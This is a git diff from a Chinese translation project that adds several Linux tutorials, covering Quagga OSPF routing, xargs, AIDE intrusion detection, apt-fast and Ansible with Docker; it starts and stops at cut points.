+安装完Quagga后,我们要配置必要的对等IP地址,并更新OSPF设置。Quagga自带了一个命令行称为vtysh。vtysh里面用到的Quagga命令与主要的路由器厂商如思科和Juniper是相似的。 + +### 步骤 1: 配置 Zebra ### + +我们首先创建Zebra配置文件,并启用Zebra守护进程。 + + # cp /usr/share/doc/quagga-XXXXX/zebra.conf.sample /etc/quagga/zebra.conf + # service zebra start + # chkconfig zebra on + +启动vtysh命令行: + + # vtysh + +首先,我们为Zebra配置日志文件。输入下面的命令进入vtysh的全局配置模式: + + site-A-RTR# configure terminal + +指定日志文件位置,接着退出模式: + + site-A-RTR(config)# log file /var/log/quagga/quagga.log + site-A-RTR(config)# exit + +永久保存配置: + + site-A-RTR# write + +接下来,我们要确定可用的接口并按需配置它们的IP地址。 + + site-A-RTR# show interface + +---------- + + Interface eth0 is up, line protocol detection is disabled + . . . . . + Interface eth1 is up, line protocol detection is disabled + . . . . . + +配置eth0参数: + + site-A-RTR# configure terminal + site-A-RTR(config)# interface eth0 + site-A-RTR(config-if)# ip address 10.10.10.1/30 + site-A-RTR(config-if)# description to-site-B + site-A-RTR(config-if)# no shutdown + +继续配置eth1参数: + + site-A-RTR(config)# interface eth1 + site-A-RTR(config-if)# ip address 192.168.1.1/24 + site-A-RTR(config-if)# description to-site-A-LAN + site-A-RTR(config-if)# no shutdown + +现在验证配置: + + site-A-RTR(config-if)# do show interface + +---------- + + Interface eth0 is up, line protocol detection is disabled + . . . . . + inet 10.10.10.1/30 broadcast 10.10.10.3 + . . . . . + Interface eth1 is up, line protocol detection is disabled + . . . . . + inet 192.168.1.1/24 broadcast 192.168.1.255 + . . . . . + +---------- + + site-A-RTR(config-if)# do show interface description + +---------- + + Interface Status Protocol Description + eth0 up unknown to-site-B + eth1 up unknown to-site-A-LAN + +永久保存配置: + + site-A-RTR(config-if)# do write + +在site-B上重复上面配置IP地址的步骤。 + +如果一切顺利,你应该可以在site-A的服务器上ping通site-B上的对等IP地址10.10.10.2了。 + +注意:一旦Zebra的守护进程启动了,在vtysh命令行中的任何改变都会立即生效。因此没有必要在更改配置后重启Zebra守护进程。 + +### 步骤 2: 配置OSPF ### + +我们首先创建OSPF配置文件,并启动OSPF守护进程: + + # cp /usr/share/doc/quagga-XXXXX/ospfd.conf.sample /etc/quagga/ospfd.conf + # service ospfd start + # chkconfig ospfd on + +现在启动vtysh命令行来继续OSPF配置: + + # vtysh + +输入路由配置模式: + + site-A-RTR# configure terminal + site-A-RTR(config)# router ospf + +可选配置路由id: + + site-A-RTR(config-router)# router-id 10.10.10.1 + +添加在OSPF中的网络: + + site-A-RTR(config-router)# network 10.10.10.0/30 area 0 + site-A-RTR(config-router)# network 192.168.1.0/24 area 0 + +永久保存配置: + + site-A-RTR(config-router)# do write + +在site-B上重复和上面相似的OSPF配置: + + site-B-RTR(config-router)# network 10.10.10.0/30 area 0 + site-B-RTR(config-router)# network 172.16.1.0/24 area 0 + site-B-RTR(config-router)# do write + +OSPF的邻居现在应该启动了。只要ospfd在运行,通过vtysh的任何OSPF相关配置的改变都会立即生效而不必重启ospfd。 + +下一节,我们会验证我们的Quagga设置。 + +### 验证 ### + +#### 1. 通过ping测试 #### + +首先你应该可以从site-A ping同site-B的LAN子网。确保你的防火墙没有阻止ping的流量。 + + [root@site-A-RTR ~]# ping 172.16.1.1 -c 2 + +#### 2. 检查路由表 #### + +必要的路由应该同时出现在内核与Quagga理由表中。 + + [root@site-A-RTR ~]# ip route + +---------- + + 10.10.10.0/30 dev eth0 proto kernel scope link src 10.10.10.1 + 172.16.1.0/30 via 10.10.10.2 dev eth0 proto zebra metric 20 + 192.168.1.0/24 dev eth1 proto kernel scope link src 192.168.1.1 + +---------- + + [root@site-A-RTR ~]# vtysh + site-A-RTR# show ip route + +---------- + + Codes: K - kernel route, C - connected, S - static, R - RIP, O - OSPF, + I - ISIS, B - BGP, > - selected route, * - FIB route + + O 10.10.10.0/30 [110/10] is directly connected, eth0, 00:14:29 + C>* 10.10.10.0/30 is directly connected, eth0 + C>* 127.0.0.0/8 is directly connected, lo + O>* 172.16.1.0/30 [110/20] via 10.10.10.2, eth0, 00:14:14 + C>* 192.168.1.0/24 is directly connected, eth1 + +#### 3. 验证OSPF邻居和路由 #### + +在vtysh命令行中,你可以检查必要的邻居是否在线与是否已经学习了合适的路由。 + + [root@site-A-RTR ~]# vtysh + site-A-RTR# show ip ospf neighbor + +![](https://farm3.staticflickr.com/2943/15160942468_d348241bd5_z.jpg) + +本教程中,我们将重点放在使用Quagga配置基本的OSPF。在一般情况下,Quagga能让我们能够轻松在一台普通的Linux机器上配置动态路由协议,如OSPF、RIP或BGP。启用了Quagga的机器可以与你网络中的其他路由器进行通信和交换路由信息。由于它支持主要的开放标准的路由协议,它或许是许多情况下的首选。更重要的是,Quagga的命令行界面与主要路由器厂商如思科和Juniper几乎是相同的,这使得部署和维护Quagga机器变得非常容易。 + + +希望这些对你们有帮助。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/turn-centos-box-into-ospf-router-quagga.html + +作者:[Sarmed Rahman][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/sarmed +[1]:http://www.nongnu.org/quagga/ +[2]:http://xmodulo.com/how-to-disable-selinux.html \ No newline at end of file diff --git a/published/201411/20140928 How to use xargs command in Linux.md b/published/201411/20140928 How to use xargs command in Linux.md new file mode 100644 index 0000000000..2f22f1ee1c --- /dev/null +++ b/published/201411/20140928 How to use xargs command in Linux.md @@ -0,0 +1,116 @@ +如何在Linux里使用xargs命令 +================================================================================ +你是否遇到过这样的情况,需要一遍又一遍地对多个文件执行同样的操作?如果有过,那你肯定会深有感触这是多么的无聊和效率低下。还好有种简单的方式,可以在基于Unix的操作系统中使用xargs命令解决这个烦恼。通过这个命令你可以有效地处理多个文件,节省你的时间和精力。在这篇教程中,你可以学到如何一次性对多个文件执行命令或脚本操作,再也不用担心像单独处理无数个日志或数据文件那样吓人的任务了。 + +xargs命令有两个要点。第一,你必须列出目标文件。第二,你必须指定对每个文件需要执行的命令或脚本。 + +这篇教程会涉及三个应用场景,xargs命令被用来处理分布在不同目录下的文件: + +1. 计算所有文件的行数 +1. 打印指定文件的第一行 +1. 对每个文件执行一个自定义脚本 + +请看下面这个叫xargstest的目录(用tree命令以及-i和-f选项显示了目录树结构,这样可以避免缩进显示而且每个文件都会带有完整路径): + + $ tree -if xargstest/ + +![](https://farm3.staticflickr.com/2942/15334985981_ce1a192def.jpg) + +这六个文件的内容分别如下: + +![](https://farm4.staticflickr.com/3882/15346287662_a3084a8e4f_o.png) + +这个**xargstest**目录,以及它包含的子目录和文件将用在下面的例子中。 + +### 场景1:计算所有文件的行数 ### + +就像之前提到的,使用xargs命令的第一个要点是一个用来运行命令或脚本的文件列表。我们可以用find命令来确定和列出目标文件。选项**-name 'file??'**指定了xargstest目录下那些名字以"file"开头并跟随两个任意字符的文件才是匹配的。这个搜索默认是递归的,意思是find命令会在xargstest和它的子目录下搜索匹配的文件。 + + $ find xargstest/ -name 'file??' + +---------- + + xargstest/dir3/file3B + xargstest/dir3/file3A + xargstest/dir1/file1A + xargstest/dir1/file1B + xargstest/dir2/file2B + xargstest/dir2/file2A + +我们可以通过管道把结果发给sort命令让文件名按顺序排列: + + $ find xargstest/ -name 'file??' | sort + +---------- + + xargstest/dir1/file1A + xargstest/dir1/file1B + xargstest/dir2/file2A + xargstest/dir2/file2B + xargstest/dir3/file3A + xargstest/dir3/file3B + +然后我们需要第二个要素,就是需要执行的命令。我们使用带有-l选项的wc命令来计算每个文件包含的换行符数目(会在输出的每一行的前面打印出来): + + $ find xargstest/ -name 'file??' | sort | xargs wc -l + +---------- + + 1 xargstest/dir1/file1A + 2 xargstest/dir1/file1B + 3 xargstest/dir2/file2A + 4 xargstest/dir2/file2B + 5 xargstest/dir3/file3A + 6 xargstest/dir3/file3B + 21 total + +可以看到,不用对每个文件手动执行一次wc -l命令,而xargs命令可以让你在一步里完成所有操作。那些之前看起来无法完成的任务,例如单独处理数百个文件,现在可以相当轻松地完成了。 + +### 场景2:打印指定文件的第一行 ### + +既然你已经有一些使用xargs命令的基础,你可以自由选择执行什么命令。有时,你也许希望只对一部分文件执行操作而忽略其他的。在这种情况下,你可以使用find命令的-name选项以及?通配符(匹配任意单个字符)来选中特定文件并通过管道输出给xargs命令。举个例子,如果你想打印以“B”字符结尾的文件而忽略以“A”结尾的文件的第一行,可以使用下面的find、xargs和head命令组合来完成(head -n1会打印一个文件的第一行): + + $ find xargstest/ -name 'file?B' | sort | xargs head -n1 + +---------- + + ==> xargstest/dir1/file1B <== + one + + ==> xargstest/dir2/file2B <== + one + + ==> xargstest/dir3/file3B <== + one + +你将看到只有以“B”结尾的文件会被处理,而所有以“A”结尾的文件都被忽略了。 + +### 场景3:对每个文件执行一个自定义脚本 ### + +最后,你也许希望对一些文件执行一个自定义脚本(例如Bash、Python或是Perl)。要做到这一点,只要简单地用你的自定义脚本名字替换掉之前例子中的wc和head命令就好了: + + $ find xargstest/ -name 'file??' | xargs myscript.sh + +自定义脚本**myscript.sh**需要写成接受一个文件名作为参数并处理这个文件。上面的命令将为find命令找到的每个文件分别调用脚本。 + +注意一下上面的例子中的文件名并没有包含空格。通常来说,在Linux环境下操作没有空格的文件名会舒服很多。如果你实在是需要处理名字中带有空格的文件,上边的命令就不能用了,需要稍微处理一下来让它可以被接受。这可以通过find命令的-print0选项(它会打印完整的文件名到标准输出,并以空字符结尾),以及xargs命令的-0选项(它会以空字符作为字符串结束标记)来实现,就像下面的例子: + + $ find xargstest/ -name 'file*' -print0 | xargs -0 myscript.sh + +注意一下,-name选项所跟的参数已经改为'file\*',意思是所有以"file"开头而结尾可以是任意字符的文件都会被选中。 + +### 总结 ### + +在看完这篇教程后你应该会理解xargs命令的作用,以及如何应用到自己的工作中。很快你就可以有时间享受这个命令所带来的高效率,而不用把你的时间耗费在一些重复的任务上了。想了解更详细的信息以及更多的选项,你可以在终端中输入'man xargs'命令来查看xargs的文档。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/xargs-command-linux.html + +作者:[Joshua Reed][a] +译者:[zpl1025](https://github.com/zpl1025) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/joshua diff --git a/published/201411/20141008 How to configure a host intrusion detection system on CentOS.md b/published/201411/20141008 How to configure a host intrusion detection system on CentOS.md new file mode 100644 index 0000000000..c671e46083 --- /dev/null +++ b/published/201411/20141008 How to configure a host intrusion detection system on CentOS.md @@ -0,0 +1,125 @@ +在CentOS上配置基于主机的入侵检测系统(IDS) +================================================================================ +所有系统管理员想要在他们生产服务器上首先要部署的安全手段之一,就是检测文件篡改的机制——不仅仅是文件内容,而且也包括它们的属性。 + +[AIDE][1] (“高级入侵检测环境”的简称)是一个开源的基于主机的入侵检测系统。AIDE通过检查大量文件属性的不一致性来检查系统二进制文件和基本配置文件的完整性,这些文件属性包括权限、文件类型、索引节点、链接数、链接名、用户、组、文件大小、块计数、修改时间、添加时间、创建时间、acl、SELinux安全上下文、xattrs,以及md5/sha校验值在内的各种特征。 + +AIDE通过扫描一台(未被篡改)的Linux服务器的文件系统来构建文件属性数据库,以后将服务器文件属性与数据库中的进行校对,然后在服务器运行时对被修改的索引了的文件发出警告。出于这个原因,AIDE必须在系统更新后或其配置文件进行合法修改后重新对受保护的文件做索引。 + +对于某些客户,他们可能会根据他们的安全策略在他们的服务器上强制安装某种入侵检测系统。但是,不管客户是否要求,系统管理员都应该部署一个入侵检测系统,这通常是一个很好的做法。 + +### 在 CentOS或RHEL 上安装AIDE ### + +AIDE的初始安装(同时是首次运行)最好是在系统刚安装完后,并且没有任何服务暴露在互联网甚至局域网时。在这个早期阶段,我们可以将来自外部的一切闯入和破坏风险降到最低限度。事实上,这也是确保系统在AIDE构建其初始数据库时保持干净的唯一途径。(LCTT 译注:当然,如果你的安装源本身就存在安全隐患,则无法建立可信的数据记录) + +出于上面的原因,在安装完系统后,我们可以执行下面的命令安装AIDE: + + # yum install aide + +我们需要将我们的机器从网络断开,并实施下面所述的一些基本配置任务。 + +### 配置AIDE ### + +默认配置文件是/etc/aide.conf,该文件介绍了几个示例保护规则(如FIPSR,NORMAL,DIR,DATAONLY),各个规则后面跟着一个等号以及要检查的文件属性列表,或者某些预定义的规则(由+分隔)。你也可以使用此种格式自定义规则。 + +![](https://farm3.staticflickr.com/2947/15446746115_7d0a291b0a_o.png) + + FIPSR = p+i+n+u+g+s+m+c+acl+selinux+xattrs+sha256 + NORMAL = FIPSR+sha512 + +例如,上面的例子说明,NORMAL规则将检查下列属性的不一致性:权限(p)、索引节点(i)、链接数(n)、用户(u)、组(g)、大小(s)、修改时间(m)、创建时间(c)、ACL(acl)、SELinux(selinux)、xattrs(xattr)、SHA256/SHA512校验和(sha256和sha512)。 + +定义的规则可灵活地用于不同的目录和文件(用正则表达式表示)。 + +![](https://farm6.staticflickr.com/5601/15259978179_f93b757c56_o.png) + +条目之前的感叹号(!)告诉AIDE忽略子目录(或目录中的文件),对于这些可以另外定义规则。 + +在上面的例子中,PERMS是用于/etc机器子目录和文件的默认规则。然而,对于/etc中的备份文件(如/etc/.*~)则不应用任何规则,也没有规则用于/etc/mtab文件。对于/etc中的其它一些选定的子目录或文件,使用NORMAL规则替代默认规则PERMS。 + +定义并应用正确的规则到系统中正确的位置,是使用AIDE最难的一部分,但作一个好的判断是一个良好的开始。作为首要的一条规则,不要检查不必要的属性。例如,检查/var/log或/var/spool里头的文件的修改时间将导致大量误报,因为许多的应用程序和守护进程经常会写入内容到该位置,而这些内容都没有问题。此外,检查多个校验值可能会加强安全性,但随之而来的是AIDE的运行时间的增加。 + +可选的,如果你使用MAILTO变量指定电子邮件地址,就可以将检查结果发送到你的邮箱。将下面这一行放到/etc/aide.conf中的任何位置即可。 + + MAILTO=root@localhost + +### 首次运行AIDE ### + +运行以下命令来初始化AIDE数据库: + + # aide --init + +![](https://farm3.staticflickr.com/2942/15446399402_198472e983_o.png) + +根据/etc/aide.conf生成的/var/lib/aide/aide.db.new.gz文件需要被重命名为/var/lib/aide/aide.db.gz,以便AIDE能读取它: + + # mv /var/lib/aide/aide.db.new.gz /var/lib/aide.db.gz + +现在,是时候来将我们的系统与数据库进行第一次校对了。任务很简单,只需运行: + + # aide + +在没有选项时,AIDE假定使用了--check选项。 + +如果在数据库创建后没有对系统做过任何修改,AIDE将会以OK信息来结束本次校对。 + +![](https://farm3.staticflickr.com/2948/15260041950_f568b3996a_o.png) + +### 生产环境中管理AIDE ### + +在构建了一个初始AIDE数据库后,作为不断进行的系统管理活动,你常常需要因为某些合法的理由更新受保护的服务器。每次服务器更新后,你必须重新构建AIDE数据库,以更新数据库内容。要完成该任务,请执行以下命令: + + # aide --update + +要使用AIDE保护生产系统,可能最好通过任务计划调用AIDE来周期性检查不一致性。例如,要让AIDE每天运行一次,并将结果发送到邮箱: + + # crontab -e + +---------- + + 0 0 * * * /usr/sbin/aide --check | /usr/bin/mail -s "AIDE run for $HOSTNAME" your@email.com + +### 测试AIDE检查文件篡改 ### + +下面的测试环境将演示AIDE是如何来检查文件的完整性的。 + +#### 测试环境 1 #### + +让我们添加一个新文件(如/etc/fake)。 + + # cat /dev/null > /etc/fake + +![](https://farm3.staticflickr.com/2941/15260140358_f1d758d354_o.png) + +#### 测试环境 2 #### + +让我们修改文件权限,然后看看它是否被检测到。 + + # chmod 644 /etc/aide.conf + +#### 测试环境 3 #### + +最后,让我们修改文件内容(如,添加一个注释行到/etc/aide.conf)。 + + echo "#This is a comment" >> /etc/aide.conf + +![](https://farm4.staticflickr.com/3936/15259978229_3ff1ea950e_b.jpg) + +上面的截图中,第一栏显示了文件的属性,第二栏是AIDE数据库中的值,而第三栏是更新后的值。第三栏中空白部分表示该属性没有改动(如本例中的ACL)。 + +### 结尾 ### + +如果你曾经发现你自己有很好的理由确信系统被入侵了,但是第一眼又不能确定到底哪些东西被改动了,那么像AIDE这样一个基于主机的入侵检测系统就会很有帮助了,因为它可以帮助你很快识别出哪些东西被改动过,而不是通过猜测来浪费宝贵的时间。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/host-intrusion-detection-system-centos.html + +作者:[Gabriel Cánepa][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/gabriel +[1]:http://aide.sourceforge.net/ diff --git a/published/201411/20141008 How to speed up slow apt-get install on Debian or Ubuntu.md b/published/201411/20141008 How to speed up slow apt-get install on Debian or Ubuntu.md new file mode 100644 index 0000000000..425a19ae11 --- /dev/null +++ b/published/201411/20141008 How to speed up slow apt-get install on Debian or Ubuntu.md @@ -0,0 +1,120 @@ +极速蜗牛:apt-fast +================ + +如果你在Debian或Ubuntu系统上经常感觉到**apt-get** 或 **aptitude**包安装速度过慢,那么这里就有几种改善这一情况的方法。你有没有考虑过改变正被使用的默认镜像站点?你有没有排除因特网连接的上游带宽成为瓶颈的可能? + +如果不是这些原因,你可以尝试第三个选择:使用[apt-fast][1]工具。apt-fast实际上是一个围绕apt-get和aptitude所写的shell脚本容器,它能加速包的下载速度。apt-fast本质上采用[aria2][2]下载工具,这款工具能够以“块”的方式从多个镜像并行下载一个文件(就像BitTorrent下载)。 + +### 在Debian或Ubuntu上安装apt-fast + +下面是在基于Debian的Linux上安装apt-fast的步骤 + +### Debian ### + + $ sudo apt-get install aria2 + $ wget https://github.com/ilikenwf/apt-fast/archive/master.zip + $ unzip master.zip + $ cd apt-fast-master + $ sudo cp apt-fast /usr/bin + $ sudo cp apt-fast.conf /etc + $ sudo cp ./man/apt-fast.8 /usr/share/man/man8 + $ sudo gzip /usr/share/man/man8/apt-fast.8 + $ sudo cp ./man/apt-fast.conf.5 /usr/share/man/man5 + $ sudo gzip /usr/share/man/man5/apt-fast.conf.5 + +### Ubuntu 14.04 以及更高版本 ### + + $ sudo add-apt-repository ppa:saiarcot895/myppa + $ sudo apt-get update + $ sudo apt-get install apt-fast + +### Ubuntu 11.04 到 Ubuntu 13.10 ### + + $ sudo add-apt-repository ppa:apt-fast/stable + $ sudo apt-get update + $ sudo apt-get install apt-fast + +在安装期间,你需要选择一个默认的软件包管理器 (e.g., apt-get. aptitude ),还需要设置其余选项。但是你可以随时通过编辑配置文件 /etc/apt-fast/conf 来更改设置。 + +![](https://farm6.staticflickr.com/5615/15285526898_1b18f64d58_z.jpg) + +![](https://farm3.staticflickr.com/2949/15449069896_76ee00851b_z.jpg) + +![](https://farm6.staticflickr.com/5600/15471817412_9ef7f16096_z.jpg) + +### 配置 apt-get ### + +安装完成后,你需要在/etc/apt-fast.conf里配置**apt-fast**使用的一系列镜像。 + +你可以在下面的URL中找到一系列Debian/Ubuntu镜像。 + +- **Debian**: [http://www.debian.org/mirror/list][3] +- **Ubuntu**: [https://launchpad.net/ubuntu/+archivemirrors][4] + +选择完那些地理上靠近你的镜像后,你需按照下面的格式将选择的镜像加入到/etc/apt-fast.conf。 + + $ sudo vi /etc/apt-fast.conf + +Debian: + + MIRRORS=('http://ftp.us.debian.org/debian/,http://carroll.aset.psu.edu/pub/linux/distributions/debian/,http://debian.gtisc.gatech.edu/debian/,http://debian.lcs.mit.edu/debian/,http://mirror.cc.columbia.edu/debian/') + +Ubuntu/Mint: + + MIRRORS=('http://us.archive.ubuntu.com/ubuntu,http://mirror.cc.columbia.edu/pub/linux/ubuntu/archive/,http://mirror.cc.vt.edu/pub2/ubuntu/,http://mirror.umd.edu/ubuntu/,http://mirrors.mit.edu/ubuntu/') + +如上面所示,对于一个特定档案的个别镜像,需要用逗号分割开来。你需要在/etc/apt/sources.list的MIRRORS字符串中包含默认的镜像指定站点。 + +### 使用apt-fast安装一个包 ### + +现在你就可以测试apt-fast的强大了。下面是使用**apt-fast**的示例: + + apt-fast [apt-get options and arguments] + apt-fast [aptitude options and arguments] + apt-fast { { install | upgrade | dist-upgrade | build-dep | download | source } [ -y | --yes | --assume-yes | --assume-no ] ... | clean } + +使用**apt-fast**安装包: + + $ sudo apt-fast install texlive-full + +在当前目录下载软件包,但不安装: + + $ sudo apt-fast download texlive-full + +![](http://farm8.staticflickr.com/7309/10585846956_6c98c6dcc9_z.jpg) + +如前面所示,apt-fast的并行下载是通过aria2完成的。你可以看到如下图般从多个镜像并行下载。 + + $ sudo netstat -nap | grep aria2c + +![](http://farm8.staticflickr.com/7328/10585846886_4744a0e021_z.jpg) + +请注意,**apt-fast**并没有加速"apt-get update"。并行下载只在"install", "upgrade", "dist-upgrage"和"build-dep"操作中触发。其余的操作,apt-fast就会简单地回到默认的包管理器apt-get或aptitude。 + +### apt-fast有多快? ### + +为了比较apt-fast和apt-get,我尝试在两个相同的Ubuntu实例上使用两种方法安装几个软件包。下面的图表展示了所有软件包安装的时间(单位为秒)。 + +![](http://farm4.staticflickr.com/3810/10585846986_504d07b4a7_z.jpg) + +正如你所见到的,**apt-fast**确实比**apt-get**快(e.g. 快3--4秒),特别是安装庞大软件包的时候。 + +当然,安装性能的提高程度还依赖你上游因特网连通性。以我为例,我有富足的带宽来支持我的上游连接。这也是为什么我看到并行下载带来了成功的提高。 + +--- + +via: http://xmodulo.com/speed-slow-apt-get-install-debian-ubuntu.html + +作者:[Dan Nanni][a] +译者:[su-kaiyao](https://github.com/su-kaiyao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/nanni +[1]:https://github.com/ilikenwf/apt-fast +[2]:http://aria2.sourceforge.net/ +[3]:http://www.debian.org/mirror/list +[4]:https://launchpad.net/ubuntu/+archivemirrors + + diff --git a/published/201411/20141008 The Why and How of Ansible and Docker.md b/published/201411/20141008 The Why and How of Ansible and Docker.md new file mode 100644 index 0000000000..b8aa820c8f --- /dev/null +++ b/published/201411/20141008 The Why and How of Ansible and Docker.md @@ -0,0 +1,103 @@ +Ansible和Docker的作用和用法 +================================================================================ +在 [Docker][1] 和 [Ansible][2] 的技术社区内存在着很多好玩的东西,我希望在你阅读完这篇文章后也能像我们一样热爱它们。当然,你也会收获一些实践知识,那就是如何通过部署 Ansible 和 Docker 来为 Rails 应用搭建一个完整的服务器环境。 + +也许有人会问:你怎么不去用 Heroku?首先,我可以在任何供应商提供的主机上运行 Docker 和 Ansible;其次,相比于方便性,我更偏向于喜欢灵活性。我可以在这种组合中运行任何程序,而不仅仅是 web 应用。最后,我骨子里是一个工匠,我非常了解如何把零件拼凑在一起工作。Heroku 的基础模块是 Linux Container,而 Docker 表现出来的多功能性也是基于这种技术。事实上,Docker 的其中一个座右铭是:容器化是新虚拟化技术。 + +### 为什么使用 Ansible? ### + +我重度使用 Chef 已经有4年了(LCTT:Chef 是与 puppet 类似的配置管理工具),**基础设施即代码**的观念让我觉得非常无聊。我花费大量时间来管理代码,而不是管理基础设施本身。不论多小的改变,都需要相当大的努力来实现它。使用 [Ansible][3],你可以一手掌握拥有可描述性数据的基础架构,另一只手掌握不同组件之间的交互作用。这种更简单的操作模式让我把精力集中在如何将我的技术设施私有化,提高了我的工作效率。与 Unix 的模式一样,Ansible 提供大量功能简单的模块,我们可以组合这些模块,达到不同的工作要求。 + +除了 Python 和 SSH,Ansible 不再依赖其他软件,在它的远端主机上不需要部署代理,也不会留下任何运行痕迹。更厉害的是,它提供一套内建的、可扩展的模块库文件,通过它你可以控制所有的一切:包管理器、云服务供应商、数据库等等等等。 + +### 为什么要使用 Docker? ### + +[Docker][4] 的定位是:提供最可靠、最方便的方式来部署服务。这些服务可以是 mysqld,可以是 redis,可以是 Rails 应用。先聊聊 git 吧,它的快照功能让它可以以最有效的方式发布代码,Docker 的处理方法与它类似。它保证应用可以无视主机环境,随心所欲地跑起来。 + +一种最普遍的误解是人们总是把 Docker 容器看成是一个虚拟机,当然,我表示理解你们的误解。Docker 满足[单一功能原则][5],在一个容器里面只跑一个进程,所以一次修改只会影响一个进程,而这些进程可以被重用。这种模型参考了 Unix 的哲学思想,当前还处于试验阶段,并且正变得越来越稳定。 + +### 设置选项 ### + +不需要离开终端,我就可以使用 Ansible 来在这些云平台中生成实例:Amazon Web Services,Linode,Rackspace 以及 DigitalOcean。如果想要更详细的信息,我于1分25秒内在位于阿姆斯特丹的2号数据中心上创建了一个 2GB 的 DigitalOcean 虚拟机。另外的1分50秒用于系统配置,包括设置 Docker 和其他个人选项。当我完成这些基本设定后,就可以部署我的应用了。值得一提的是这个过程中我没有配置任何数据库或程序开发语言,Docker 已经帮我把应用所需要的事情都安排好了。 + +Ansible 通过 SSH 为远端主机发送命令。我保存在本地 ssh 代理上面的 SSH 密钥会通过 Ansible 提供的 SSH 会话分享到远端主机。当我把应用代码从远端 clone 下来,或者上传到远端时,我就不再需要提供 git 所需的证书了,我的 ssh 代理会帮我通过 git 主机的身份验证程序的。 + +### Docker 和应用的依赖性 ### + +我发现有一点挺有意思的:大部分开发者非常了解他们的应用需要什么版本的编程语言,这些语言依赖关系有多种形式:Python 的包、Ruby 的打包系统 gems、node.js 的模块等等,但与数据库或消息队列这种重要的概念相比起来,这些语言就处于很随便的境地了——随便给我个编程语言环境,我都能把数据库和消息队列系统跑起来。我认为这是 DevOps 运动(它旨在促进开发与运维团队的和谐相处)的动机之一,开发者负责搭建应用所需要的环境。Docker 使这个任务变得简单明了直截了当,它为现有环境加了实用的一层配置。 + +我的应用依赖于 MySQL 5.5和 Redis 2.8,依赖关系放在“.docker_container_dependencies”文件里面: + + gerhard/mysql:5.5 + gerhard/redis:2.8 + +Ansible 会查看这个文件,并且通知 Docker 加载正确的镜像,然后在容器中启动。它还会把这些服务容器链接到应用容器。如果你想知道 Docker 容器的链接功能是怎么工作的,可以参考[Docker 0.6.5 发布通知][6]. + +我的应用包括一个 Dockerfile,它详细指定了 Ruby Docker 镜像的信息,这里面的步骤能够保证把正确的 Ruby 版本加载到镜像中。 + + FROM howareyou/ruby:2.0.0-p353 + + ADD ./ /terrabox + + RUN \ + . /.profile ;\ + rm -fr /terrabox/.git ;\ + cd /terrabox ;\ + bundle install --local ;\ + echo '. /.profile && cd /terrabox && RAILS_ENV=test bundle exec rake db:create db:migrate && bundle exec rspec' > /test-terrabox ;\ + echo '. /.profile && cd /terrabox && export RAILS_ENV=production && rake db:create db:migrate && bundle exec unicorn -c config/unicorn.rails.conf.rb' > /run-terrabox ;\ + # END RUN + + ENTRYPOINT ["/bin/bash"] + CMD ["/run-terrabox"] + + EXPOSE 3000 + +第一步是复制应用的所有代码到 Docker 镜像,加载上一个镜像的全局环境变量。这个例子中的 Ruby Docker 镜像会加载 PATH 配置,这个配置能确保镜像加载正确的 Ruby 版本。 + +接下来,删除 git 历史,Docker 容器不需要它们。我安装了所有 Ruby 的 gems,创建一个名为“/test-terrabox”的命令,这个命令会被名为“test-only”的容器执行。这个步骤的目的是能正确解决应用和它的依赖关系,让 Docker 容器正确链接起来,保证在真正的应用容器启动前能通过所有测试项目。 + +CMD 这个步骤是在新的 web 应用容器启动后执行的。在测试环节结束后马上就执行`/run-terrabox`命令进行编译。 + +最后,Dockerfile 为应用指定了一个端口号,将容器内部端口号为3000的端口映射到主机(运行着 Docker 的机器)的一个随机分配的端口上。当 Docker 容器里面的应用需要响应来自外界的请求时,这个端口可用于反向代理或负载均衡。 + +### Docker 容器内运行 Rails 应用 ### + +没有本地 Docker 镜像,从零开始部署一个中级规模的 Rails 应用大概需要100个 gems,进行100次整体测试,在使用2个核心实例和2GB内存的情况下,这些操作需要花费8分16秒。装上 Ruby、MySQL 和 Redis Docker 镜像后,部署应用花费了4分45秒。另外,如果从一个已存在的主应用镜像编译出一个新的 Docker 应用镜像出来,只需花费2分23秒。综上所述,部署一套新的 Rails 应用,解决其所有依赖关系(包括 MySQL 和 Redis),只需花我2分钟多一点的时间就够了。 + +需要指出的一点是,我的应用上运行着一套完全测试套件,跑完测试需要花费额外1分钟时间。尽管是无意的,Docker 可以变成一套简单的持续集成环境,当测试失败后,Docker 会把“test-only”这个容器保留下来,用于分析出错原因。我可以在1分钟之内和我的客户一起验证新代码,保证不同版本的应用之间是完全隔离的,同操作系统也是隔离的。传统虚拟机启动系统时需要花费好几分钟,Docker 容器只花几秒。另外,一旦一个 Dockedr 镜像编译出来,并且针对我的某个版本的应用的测试都被通过,我就可以把这个镜像提交到一个私有的 Docker Registry 上,可以被其他 Docker 主机下载下来并启动一个新的 Docker 容器,而这不过需要几秒钟时间。 + +### 总结 ### + +Ansible 让我重新看到管理基础设施的乐趣。Docker 让我有充分的信心能稳定处理应用部署过程中最重要的步骤——交付环节。双剑合璧,威力无穷。 + +从无到有搭建一个完整的 Rails 应用可以在12分钟内完成,这种速度放在任何场合都是令人印象深刻的。能获得一个免费的持续集成环境,可以查看不同版本的应用之间的区别,不会影响到同主机上已经在运行的应用,这些功能强大到难以置信,让我感到很兴奋。在文章的最后,我只希望你能感受到我的兴奋! + +我在2014年1月伦敦 Docker 会议上讲过这个主题,[已经分享到 Speakerdeck][7]了。 + +如果想获得更多的关于 Ansible 和 Docker 的内容,请订阅 [changlog 周报][8],它会在每周六推送一周最有价值的关于这两个主题的新闻链接。 + +如果你想为我们的 Changlog 写一篇文章,请[使用 Draft repo][9],他们会帮到你的。 + +下次见,[Gerhard][a]。 + +-------------------------------------------------------------------------------- + +via: 